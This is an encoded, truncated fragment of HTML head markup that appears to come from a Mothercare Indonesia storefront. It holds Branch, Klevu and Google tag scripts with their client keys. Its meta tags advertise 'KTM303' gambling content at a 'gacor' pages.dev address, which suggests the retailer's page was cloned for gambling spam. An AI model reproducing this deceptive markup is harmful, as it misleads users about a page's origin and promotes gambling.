AgICAgICAgICB9KTsKICAgICAgPC9zY3JpcHQ%2BICAgICAgICA8IS0tIE5PIFBpeGVsIElEIGlzIGNvbmZpZ3VyZWQsIHBsZWFzZSBnb3RvIEFkbWluIC0tPgogICAgICA8c2NyaXB0PgogICAgICAgICBjb25zb2xlLmxvZygKICAgICAgICAgICAgICdObyBNZXRhIHBpeGVsIGlzIGNvbmZpZ3VyZWQsIHBsZWFzZSBsb2cgaW4gYXMgYSBhZG1pbiBhbmQgdGhlbiB2aXNpdCBTdG9yZXMgLT4gTWV0YSAtPiBTZXR1cCAtPiBHZXQgU3RhcnRlZCcKICAgICAgICAgKTsKICAgICAgPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQ%2BCiAgICAgICAgIC8vIGxvYWQgQnJhbmNoCiAgICAgICAgIChmdW5jdGlvbihiLHIsYSxuLGMsaCxfLHMsZCxrKXtpZighYltuXXx8IWJbbl0uX3Epe2Zvcig7czxfLmxlbmd0aDspYyhoLF9bcysrXSk7ZD1yLmNyZWF0ZUVsZW1lbnQoYSk7ZC5hc3luYz0xO2Quc3JjPSJodHRwczovL2Nkbi5icmFuY2guaW8vYnJhbmNoLWxhdGVzdC5taW4uanMiO2s9ci5nZXRFbGVtZW50c0J5VGFnTmFtZShhKVswXTtrLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGQsayk7YltuXT1ofX0pKHdpbmRvdyxkb2N1bWVudCwic2NyaXB0IiwiYnJhbmNoIixmdW5jdGlvbihiLHIpe2Jbcl09ZnVuY3Rpb24oKXtiLl9xLnB1c2goW3IsYXJndW1lbnRzXSl9fSx7X3E6W10sX3Y6MX0sImFkZExpc3RlbmVyIGJhbm5lciBjbG9zZUJhbm5lciBjbG9zZUpvdXJuZXkgZGF0YSBkZWVwdmlldyBkZWVwdmlld0N0YSBmaXJzdCBpbml0IGxpbmsgbG9nb3V0IHJlbW92ZUxpc3RlbmVyIHNldEJyYW5jaFZpZXdEYXRhIHNldElkZW50aXR5IHRyYWNrIHRyYWNrQ29tbWVyY2VFdmVudCBsb2dFdmVudCBkaXNhYmxlVHJhY2tpbmcgZ2V0QnJvd3NlckZpbmdlcnByaW50SWQgY3Jvc3NQbGF0Zm9ybUlkcyBsYXN0QXR0cmlidXRlZFRvdWNoRGF0YSBzZXRBUElSZXNwb25zZUNhbGxiYWNrIHFyQ29kZSBzZXRSZXF1ZXN0TWV0YURhdGEgc2V0QVBJVXJsIGdldEFQSVVybCBzZXRETUFQYXJhbXNGb3JFRUEiLnNwbGl0KCIgIiksIDApOwogICAgICAgICAvLyBpbml0IEJyYW5jaAogICAgICAgICBicmFuY2guaW5pdCgia2V5X2xpdmVfaHdwdDluSGpFbVNjSTA3YkgxMEFzaGNjcndtWk03aFAiKTsgLy8gQ2hhbmdlIGBrZXlfbGl2ZV9ZT1VSX0tFWV9HT0VTX0hFUkVgIHRvIG1hdGNoIHlvdXIgQnJhbmNoIERhc2hib2FyZAogICAgICA8L3NjcmlwdD4KICAgICAgPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2pzLmtsZXZ1LmNvbSI%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgICAgICAgdmFyIGtsZXZ1X2xhbmcgPSAnaWQnOwogICAgICAgICB2YXIga2xldnVfYmFzZUN1cnJlbmN5Q29kZSA9ICdJRFInOwogICAgICAgICB2YXIga2xldnVfY3VycmVudEN1cnJlbmN5Q29kZSA9ICdJRFInOwogICAgICAgICAgICAgdmFyIGtsZXZ1X3B1YklzSW5Vc2UgPSB0cnVlOwogICAgICAgICB2YXIga2xldnVfY3VycmVudF92ZXJzaW9uID0gJzMuMi4wJzsKICAgICAgPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vanMua2xldnUuY29tL2NvcmUvdjIva2xldnUuanMiPjwvc2NyaXB0PgogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgaWQ9ImtsZXZ1X2pzYXBpa2V5cyI%2BCiAgICAgICAgIGtsZXZ1KHsic2VhcmNoIjp7ImFwaUtleSI6ImtsZXZ1LTE1OTA2MDI2MzQzMzMxMTk4NyJ9LCJhbmFseXRpY3MiOnsiYXBpS2V5Ijoia2xldnUtMTU5MDYwMjYzNDMzMzExOTg3In19KTsKICAgICAgPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBpZD0ia2xldnVfanNtb2R1bGVzIj4KICAgICAgICAgLy8gQWRkIFByaWNlIEZpZWxkIFN1ZmZpeCBmb3IgY3VzdG9tZXIgZ3JvdXAgYW5kIGN1cnJlbmN5IGNvbnZlcnNpb24KICAgICAgICAgdmFyIGtsZXZ1X2FkZFByaWNlU3VmZml4VG9RdWVyeUNvbnRyb2wgPSB7CiAgICAgICAgICAgICBuYW1lOiAnYWRkUHJpY2VTdWZmaXhUb1F1ZXJ5JywKICAgICAgICAgICAgIGZpcmU6IGZ1bmN0aW9uIChkYXRhLCBzY29wZSkgewogICAgICAgICAgICAgICAgIHZhciBjdXN0b21lckRhdGEgPSBKU09OLnBhcnNlKHdpbmRvdy5sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgna2x2X21hZ2UnKSB8fCAne30nKS5jdXN0b21lckRhdGEgfHwgewogICAgICAgICAgICAgICAgICAgICBjdXN0b21lcl9ncm91cF9pZDogMzIwMDAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgIGtsZXZ1LnNlYXJjaC5tb2R1bGVzLmFkZFByaWNlU3VmZml4VG9RdWVyeShkYXRhLCBzY29wZSwga2xldnVfYmFzZUN1cnJlbmN5Q29kZSwgY3VzdG9tZXJEYXRhLmN1c3RvbWVyX2dyb3VwX2lkKTsKICAgICAgICAgICAgIH0KICAgICAgICAgfTsKICAgICAgICAgCiAgICAgICAgIChmdW5jdGlvbiAoa2xldnUpIHsKICAgICAgICAgICAgIGtsZXZ1LmV4dGVuZCh0cnVlLCBrbGV2dS5zZWFyY2gubW9kdWxlcywgewogICAgICAgICAgICAgICAgIGFkZFByaWNlU3VmZml4VG9RdWVyeTogZnVuY3Rpb24gKGRhdGEsIHNjb3BlLCBjdXJyZW5jeUNvZGUsIGN1c3RvbWVyR3JvdXBJZCkgewogICAgICAgICAgICAgICAgICAgICBpZiAodHlwZW9mIGRhdGEucmVxdWVzdC5jdXJyZW50ID09PSAidW5kZWZpbmVkIikgewogICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICBrbGV2dS5lYWNoKGRhdGEucmVxdWVzdC5jdXJyZW50LnJlY29yZFF1ZXJpZXMsIGZ1bmN0aW9uIChrZXksIHF1ZXJ5KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAvL2NvZGUgdG8gZmV0Y2ggcHJpY2VzCiAgICAgICAgICAgICAgICAgICAgICAgICBrbGV2dS5zZXRPYmplY3RQYXRoKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImxvY2FsT3ZlcnJpZGVzLnF1ZXJ5LiIgKyBxdWVyeS5pZCArICIuc2V0dGluZ3MucHJpY2VGaWVsZFN1ZmZpeCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVuY3lDb2RlICsgJy0nICsgY3VzdG9tZXJHcm91cElkCiAgICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgIG1hZ2VDb252ZXJ0UHJpY2VSZWNvcmRDdXJyZW5jeURhdGE6IGZ1bmN0aW9uIChwcm9kdWN0UmVjb3JkcywgY3VycmVuY3lDb2RlLCBjdXJyZW5jeVJhdGVzKSB7CiAgICAgICAgICAgICAgICAgICAgIGlmICghcHJvZHVjdFJlY29yZHMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAKICAgICAgICAgICAgICAgICAgICAga2xldnUuZWFjaChwcm9kdWN0UmVjb3JkcywgZnVuY3Rpb24gKHJlY29yZEtleSwgcHJvZHVjdFJlY29yZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGZyb21SYXRlID0gcGFyc2VGbG9hdChjdXJyZW5jeVJhdGVzW3Byb2R1Y3RSZWNvcmQuY3VycmVuY3ldIHx8IDApOwogICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHRvUmF0ZSA9IHBhcnNlRmxvYXQoY3VycmVuY3lSYXRlc1tjdXJyZW5jeUNvZGVdIHx8IDApOwogICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFmcm9tUmF0ZSB8fCAhdG9SYXRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBleGNoYW5nZVJhdGUgPSB0b1JhdGUgLyBmcm9tUmF0ZTsKICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoa2xldnUuaXNOdW1lcmljKGtsZXZ1LmdldE9iamVjdFBhdGgocHJvZHVjdFJlY29yZCwgInByaWNlIikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJvZHVjdFJlY29yZC5wcmljZSAqPSBleGNoYW5nZVJhdGU7CiAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoa2xldnUuaXNOdW1lcmljKGtsZXZ1LmdldE9iamVjdFBhdGgocHJvZHVjdFJlY29yZCwgInNhbGVQcmljZSIpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2R1Y3RSZWNvcmQuc2FsZVByaWNlICo9IGV4Y2hhbmdlUmF0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChrbGV2dS5pc051bWVyaWMoa2xldnUuZ2V0T2JqZWN0UGF0aChwcm9kdWN0UmVjb3JkLCAic3RhcnRQcmljZSIpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2R1Y3RSZWNvcmQuc3RhcnRQcmljZSAqPSBleGNoYW5nZVJhdGU7CiAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgcHJvZHVjdFJlY29yZC5jdXJyZW5jeSA9IGN1cnJlbmN5Q29kZTsKICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgfSk7CiAgICAgICAgIH0pKGtsZXZ1KTsKICAgICAgPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBpZD0ia2xldnVfanNpbnRlcmFjdGl2ZSI%2BCiAgICAgICAgIGtsZXZ1LmludGVyYWN0aXZlKGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgIHZhciBvcHRpb25zID0geyJ1cmwiOnsicHJvdG9jb2wiOiJodHRwczoiLCJsYW5kaW5nIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9jYXRhbG9nc2VhcmNoXC9yZXN1bHRcLyIsInNlYXJjaCI6Imh0dHBzOlwvXC9ldWNzMjB2Mi5rc2VhcmNobmV0LmNvbVwvY3NcL3YyXC9zZWFyY2gifSwic2VhcmNoIjp7Im1pbkNoYXJzIjowLCJzZWFyY2hCb3hTZWxlY3RvciI6ImlucHV0W3R5cGU9dGV4dF1bbmFtZT1xXSxpbnB1dFt0eXBlPXNlYXJjaF1bbmFtZT1xXSwua3VTZWFyY2hJbnB1dCJ9fTsKICAgICAgICAgICAgICAgICAgICAga2xldnUob3B0aW9ucyk7CiAgICAgICAgICAgICAgICAgfSk7CiAgICAgIDwvc2NyaXB0PiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2pzLmtsZXZ1LmNvbS90aGVtZS9kZWZhdWx0L3YyL3F1aWNrLXNlYXJjaC10aGVtZS5qcyI%2BPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC94LW1hZ2VudG8taW5pdCI%2BCiAgICAgICAgIHsKICAgICAgICAgICAgICIqIjogewogICAgICAgICAgICAgICAgICJNYWdlbnRvX1BhZ2VDYWNoZS9qcy9mb3JtLWtleS1wcm92aWRlciI6IHsKICAgICAgICAgICAgICAgICAgICAgImlzUGFnaW5hdGlvbkNhY2hlRW5hYmxlZCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAwICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgfQogICAgICA8L3NjcmlwdD4KICAgICAgPCEtLSBHb29nbGUgdGFnIChndGFnLmpzKSAtLT4KICAgICAgPHNjcmlwdCBhc3luYyBzcmM9Imh0dHBzOi8vd3d3Lmdvb2dsZXRhZ21hbmFnZXIuY29tL2d0YWcvanM%2FaWQ9Ry00MDRHWEU3TFIzIj48L3NjcmlwdD4KICAgICAgPHNjcmlwdD4KICAgICAgICAgd2luZG93LmRhdGFMYXllciA9IHdpbmRvdy5kYXRhTGF5ZXIgfHwgW107CiAgICAgICAgIGZ1bmN0aW9uIGd0YWcoKXtkYXRhTGF5ZXIucHVzaChhcmd1bWVudHMpO30KICAgICAgICAgZ3RhZygnanMnLCBuZXcgRGF0ZSgpKTsKICAgICAgICAgCiAgICAgICAgIGd0YWcoJ2NvbmZpZycsICdHLTQwNEdYRTdMUjMnKTsKICAgICAgPC9zY3JpcHQ%2BCiAgICAgIDxsaW5rIHJlbD0icHJlbG9hZCIgdHlwZT0idGV4dC9jc3MiIGFzPSJzdHlsZSIgb25sb2FkPSJ0aGlzLnJlbD0nc3R5bGVzaGVldCciIG1lZGlhPSJhbGwiIGhyZWY9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9jc3MvZGVmYXVsdC5taW4uY3NzIj4KICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InByaW50IiBvbmxvYWQ9Im1lZGlhPSdhbGwnIiBocmVmPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvY3NzL2RlZmVycmVkLWRlZmF1bHQubWluLmNzcyI%2BCiAgICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0eXBlIiBjb250ZW50PSJwcm9kdWN0Ij4KICAgICAgPG1ldGEgcHJvcGVydHk9Im9nOnRpdGxlIiBjb250ZW50PSJLVE0zMDM6IFJhaWggTW9tZW4gS2VtZW5hbmdhbiBCZXNhciBEZW5nYW4gUGVuZ2FsYW1hbiBCZXJtYWluIE1vZGVybiI%2BCiAgICAgIDxtZXRhIHByb3BlcnR5PSJvZzppbWFnZSIgY29udGVudD0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9tZWRpYS9jYXRhbG9nL3Byb2R1Y3QvMS8xLzExOTY2OXdlYjFfMS5qcGc%2Fb3B0aW1pemU9bG93JmFtcDtiZy1jb2xvcj0yNTUsMjU1LDI1NSZhbXA7Zml0PWJvdW5kcyZhbXA7aGVpZ2h0PTI3MCZhbXA7d2lkdGg9MjcwJmFtcDtjYW52YXM9MjcwOjI3MCI%2BCiAgICAgIDxtZXRhIHByb3BlcnR5PSJvZzpkZXNjcmlwdGlvbiIgY29udGVudD0iS1RNMzAzIG1lbmdoYWRpcmthbiBwZW5nYWxhbWFuIGJlcm1haW4gbW9kZXJuIGRlbmdhbiBwaWxpaGFuIHBlcm1haW5hbiBiZXJhZ2FtLCB0YW1waWxhbiBtZW5hcmlrLCBzZXJ0YSBha3NlcyBwcmFrdGlzIHVudHVrIG1lbmlrbWF0aSBzZXRpYXAgbW9tZW4gc2VydSBzZWNhcmEgbnlhbWFuIGRhbiBiaWphay4iPgogICAgICA8bWV0YSBwcm9wZXJ0eT0ib2c6dXJsIiBjb250ZW50PSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iPgogICAgICA8bWV0YSBwcm9wZXJ0eT0icHJvZHVjdDpwcmljZTphbW91bnQiIGNvbnRlbnQ9Ijg4OCI%2BCiAgICAgIDxtZXRhIHByb3BlcnR5PSJwcm9kdWN0OnByaWNlOmN1cnJlbmN5IiBjb250ZW50PSJJRFIiPgogICAgICA8bWV0YSBuYW1lPSJnb29nbGUtc2l0ZS12ZXJpZmljYXRpb24iIGNvbnRlbnQ9InFzRVFjTlVuWEJnekVpVlNBdV9fdFpDd1k0amRzdWxTSnY5eVQ1M0MwWHMiIC8%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBpZD0ia2xldnVfaW5pdHNlc3Npb25kYXRhIj4KICAgICAgICAgdmFyIG5vd1VuaXh0aW1lID0gcGFyc2VJbnQoRGF0ZS5ub3coKSAvIDEwMDApOwogICAgICAgICAKICAgICAgICAgZnVuY3Rpb24ga2xldnVmZWpzX2dldENvb2tpZShuYW1lKSB7CiAgICAgICAgICAgICBpZiAodHlwZW9mIChuYW1lKSA9PT0gInVuZGVmaW5lZCIpIHsKICAgICAgICAgICAgICAgICBuYW1lID0gImtsdl9tYWdlIjsKICAgICAgICAgICAgIH0KICAgICAgICAgICAgIHZhciBjID0gIiIsCiAgICAgICAgICAgICAgICAgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoJzsnKTsKICAgICAgICAgCiAgICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICAgYyA9IGNhW2ldOwogICAgICAgICAgICAgICAgIGlmICh0eXBlb2YgYyAhPT0gInN0cmluZyIpIHsKICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgIHZhciBjb29raWVQYWlyID0gYy5zcGxpdCgiPSIpOwogICAgICAgICAKICAgICAgICAgICAgICAgICBpZiAobmFtZSA9PT0gY29va2llUGFpclswXS50cmltKCkpIHsKICAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBKU09OLnBhcnNlKGRlY29kZVVSSUNvbXBvbmVudChjb29raWVQYWlyWzFdKSk7CiAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycikgewogICAgICAgICAgICAgICAgICAgICAgICAgLy8gdGhpcyBpcyBmaW5lLCBkYXRhIHdpbGwgYmUgcmVnZW5lcmF0ZWQKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgIHJldHVybiB7CiAgICAgICAgICAgICAgICAgZXhwaXJlX3NlY3Rpb25zOiB7fQogICAgICAgICAgICAgfTsKICAgICAgICAgfQogICAgICAgICAKICAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2xldnUuY3VzdG9tZXJEYXRhLmxvYWRlZCcsIGZ1bmN0aW9uIChlKSB7CiAgICAgICAgICAgICB2YXIga2xldnVmZWpzX2Nvb2tpZSA9IGtsZXZ1ZmVqc19nZXRDb29raWUoKTsKICAgICAgICAgICAgIGtsZXZ1ZmVqc19jb29raWUuZXhwaXJlX3NlY3Rpb25zLmN1c3RvbWVyRGF0YSA9IG5vd1VuaXh0aW1lICsgNjAwOwogICAgICAgICAKICAgICAgICAgICAgIGRvY3VtZW50LmNvb2tpZSA9ICJrbHZfbWFnZT0iICsgSlNPTi5zdHJpbmdpZnkoa2xldnVmZWpzX2Nvb2tpZSkgKyAiOyIgKyAobmV3IERhdGUoKG5vd1VuaXh0aW1lICsgMzYwMCkgKiAxMDAwKS50b1VUQ1N0cmluZygpKSArICI7cGF0aD0vO1NhbWVTaXRlPVN0cmljdCI7CiAgICAgICAgIH0pOwogICAgICAgICAKICAgICAgICAgdmFyIGtsZXZ1ZmVqc19jb29raWUgPSBrbGV2dWZlanNfZ2V0Q29va2llKCk7CiAgICAgICAgIHZhciBrbGV2dURhdGEgPSB7CiAgICAgICAgICAgICAuLi57CiAgICAgICAgICAgICAgICAgY3VzdG9tZXJEYXRhOiB7CiAgICAgICAgICAgICAgICAgICAgIHJldmFsaWRhdGVfYWZ0ZXI6IC0xCiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgfSwKICAgICAgICAgICAgIC4uLkpTT04ucGFyc2Uod2luZG93LmxvY2FsU3RvcmFnZS5nZXRJdGVtKCdrbHZfbWFnZScpIHx8ICd7fScpCiAgICAgICAgIH07CiAgICAgICAgIAogICAgICAgICBjb25zdCBrbGV2dUN1c3RvbWVyRGF0YUxvYWRlZEV2ZW50ID0gZG9jdW1lbnQuY3JlYXRlRXZlbnQoJ0N1c3RvbUV2ZW50Jyk7CiAgICAgICAgIGtsZXZ1Q3VzdG9tZXJEYXRhTG9hZGVkRXZlbnQuaW5pdEV2ZW50KCdrbGV2dS5jdXN0b21lckRhdGEubG9hZGVkJywgZmFsc2UsIHRydWUpOwogICAgICAgICBjb25zdCBrbGV2dUN1c3RvbWVyRGF0YUxvYWRFcnJvckV2ZW50ID0gZG9jdW1lbnQuY3JlYXRlRXZlbnQoJ0N1c3RvbUV2ZW50Jyk7CiAgICAgICAgIGtsZXZ1Q3VzdG9tZXJEYXRhTG9hZEVycm9yRXZlbnQuaW5pdEV2ZW50KCdrbGV2dS5jdXN0b21lckRhdGEubG9hZEVycm9yJywgZmFsc2UsIHRydWUpOwogICAgICAgICAKICAgICAgICAgaWYgKHR5cGVvZiBrbGV2dWZlanNfY29va2llLmV4cGlyZV9zZWN0aW9ucyAhPT0gIm9iamVjdCIKICAgICAgICAgICAgIHx8IChrbGV2dWZlanNfY29va2llLmV4cGlyZV9zZWN0aW9ucy5jdXN0b21lckRhdGEgfHwgLTEpIDwgbm93VW5peHRpbWUKICAgICAgICAgICAgIHx8IGtsZXZ1RGF0YS5jdXN0b21lckRhdGEucmV2YWxpZGF0ZV9hZnRlciA8IG5vd1VuaXh0aW1lCiAgICAgICAgICkgewogICAgICAgICAgICAgdmFyIHhodHRwID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgICAgICB4aHR0cC5vbmVycm9yID0gZnVuY3Rpb24gKHJlcXVlc3QpIHsKICAgICAgICAgICAgICAgICBkb2N1bWVudC5kaXNwYXRjaEV2ZW50KGtsZXZ1Q3VzdG9tZXJEYXRhTG9hZEVycm9yRXZlbnQpOwogICAgICAgICAgICAgfTsKICAgICAgICAgICAgIHhodHRwLm9udGltZW91dCA9IGZ1bmN0aW9uIChyZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICAgdGhpcy5vbmVycm9yKHJlcXVlc3QpOwogICAgICAgICAgICAgfTsKICAgICAgICAgICAgIHhodHRwLm9ubG9hZCA9IGZ1bmN0aW9uIChyZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICAgaWYgKHRoaXMuc3RhdHVzID49IDQwMCB8fCB0aGlzLnRpbWVvdXQpIHsKICAgICAgICAgICAgICAgICAgICAgdGhpcy5vbmVycm9yKHJlcXVlc3QpOwogICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAKICAgICAgICAgICAgICAgICB2YXIga2xldnVEYXRhID0gSlNPTi5wYXJzZSh3aW5kb3cubG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2tsdl9tYWdlJykgfHwgJ3t9Jyk7CiAgICAgICAgICAgICAgICAga2xldnVEYXRhLmN1c3RvbWVyRGF0YSA9IEpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7CiAgICAgICAgICAgICAgICAgd2luZG93LmxvY2FsU3RvcmFnZS5zZXRJdGVtKCdrbHZfbWFnZScsIEpTT04uc3RyaW5naWZ5KGtsZXZ1RGF0YSkpOwogICAgICAgICAKICAgICAgICAgICAgICAgICBkb2N1bWVudC5kaXNwYXRjaEV2ZW50KGtsZXZ1Q3VzdG9tZXJEYXRhTG9hZGVkRXZlbnQpOwogICAgICAgICAgICAgfTsKICAgICAgICAgICAgIHhodHRwLm9wZW4oJ0dFVCcsICdodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3Jlc3QvVjEva2xldnUvY3VzdG9tZXJEYXRhJywgZmFsc2UpOwogICAgICAgICAgICAgeGh0dHAuc2VuZCgpOwogICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgZG9jdW1lbnQuZGlzcGF0Y2hFdmVudChrbGV2dUN1c3RvbWVyRGF0YUxvYWRlZEV2ZW50KTsKICAgICAgICAgfQogICAgICA8L3NjcmlwdD4KICAgICAgPHNjcmlwdCBkYXRhLWJyZWV6ZSBkZWZlciBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9Td2lzc3VwX0JyZWV6ZS9qcy9saWIva25vY2tvdXQtMy41LjEubWluLmpzIj48L3NjcmlwdD4KICAgICAgPHNjcmlwdCBkYXRhLWJyZWV6ZSBkZWZlciBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9Td2lzc3VwX0JyZWV6ZS9qcy9jb3JlL2V4dGVuZC1rby5taW4uanMiPjwvc2NyaXB0PgogICAgICA8c2NyaXB0IGRhdGEtYnJlZXplIGRlZmVyIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL1N3aXNzdXBfQnJlZXplL2pzL2xpYi90dXJib2xpbmtzLTUuMi4wLm1pbi5qcyI%2BPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgZGF0YS1icmVlemUgZGVmZXIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvU3dpc3N1cF9CcmVlemUvanMvbGliL3VuZGVyc2NvcmUtMS4xMy4xLm1pbi5qcyI%2BPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgZGF0YS1icmVlemUgZGVmZXIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvU3dpc3N1cF9CcmVlemUvanMvbGliL3RhYmJhYmxlLTUuMi4xLm1pbi5qcyI%2BPC9zY3JpcHQ%2BCiAgICAgIDxzY3JpcHQgZGF0YS1icmVlemUgZGVmZXIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvU3dpc3N1cF9CcmVlemUvanMvbGliL2ZvY3VzLXRyYXAtNi43LjEubWluLmpzIj48L3NjcmlwdD4KICAgICAgPHNjcmlwdCBkYXRhLWJyZWV6ZSBkZWZlciBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9Td2lzc3VwX0JyZWV6ZS9qcy9saWIvY2FzaC04LjEuMi5taW4uanMiPjwvc2NyaXB0PgogICAgICA8c2NyaXB0IGRhdGEtYnJlZXplIGRlZmVyIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL1N3aXNzdXBfQnJlZXplL2pzL2NvcmUvZXh0ZW5kLWNhc2gubWluLmpzIj48L3NjcmlwdD4KICAgICAgPHNjcmlwdCBkYXRhLWJyZWV6ZSBkZWZlciBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9Td2lzc3VwX0JyZWV6ZS9qcy9saWIvc3dpcGVkLWV2ZW50cy0xLjEuNC5taW4uanMiPjwvc2NyaXB0PgogICAgICA8c2NyaXB0IGRhdGEtYnJlZXplIGRlZmVyIHNy